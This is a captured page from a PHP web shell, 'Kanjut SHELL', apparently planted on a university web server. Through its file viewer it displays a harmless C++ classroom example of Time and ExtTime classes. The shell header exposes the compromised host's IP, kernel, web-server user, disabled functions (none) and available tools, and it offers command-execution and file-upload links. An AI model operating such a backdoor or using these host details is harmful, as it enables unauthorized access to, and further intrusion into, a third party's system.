Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.118.162.8
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/sknewsome/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/sknewsome/superclass.cpp
//
//	C++ superclasses & subclasses
//	p. 160, 161

#include<iostream>
using namespace std;

class Time
{
	int hrs, mins, secs;
public:
	// default constructor
	Time()			// 0:0:0
	{	hrs=0; mins=0; secs=0;   } 
	Time(int h, int m, int s)
        {       hrs=h;  mins=m;  secs=s;   }
	void Set(int h, int m, int s)		// Tr
	{	hrs=h;  mins=m;  secs=s;   }
	void Write() const			// Ob: Observer
	{	cout << hrs << ':' << mins << ':' << secs;  }
	void Increment() 			// Tr: Transformer
	{	secs ++;   }
	bool Equal(Time x) const		// Ob
	{	return (hrs==x.hrs && mins==x.mins && secs==x.secs);  }
	bool GreaterThan( Time x ) const	// Ob
	{	bool temp = false;
		if ( hrs > x.hrs )  temp = true;
		else if( hrs == x.hrs && mins > x.mins ) temp = true;
		return temp;
	}
	bool NotEqual ( Time x ) const	// Ob
	//{	return (hrs!=x.hrs ||  mins!=x.mins ||  secs!=x.secs);  }
	{	return !Equal(x);    }
};

enum ZoneType {EST, CST, MST, PST, EDT, CDT, MDT, PDT};
// define a (derived)/subclass (page 161) 

class ExtTime : public Time
{
	ZoneType zone;
public:
	ExtTime()	// default constructor
	{	zone = EST;	}
	// general constructor
	ExtTime(int h, int m, int s, ZoneType z) : Time(h, m, s) //calling 
	{	zone = z;	}

	void Set(int h, int m, int s, ZoneType z)
	{	Time :: Set(h, m, s);
		zone = z;
	}
	void Write() const
	{	Time :: Write();
		string zString[] = {"EST", "CST", "MST", "PST", 
			"EDT", "CDT", "MDT", "PDT" };
		cout << " " << zString[zone];
	}


};
	

int main ()
{
	ExtTime x(8, 35, 0, PST);
	
	// make x 13:30:00 EST
	x.Set(13, 30, 0, EST);

	// Display the x
	cout << "The time of x is: ";
	x.Write();

	cout << "\nDone.\n\n";
	return 0;
}

Stv3n404 - 2023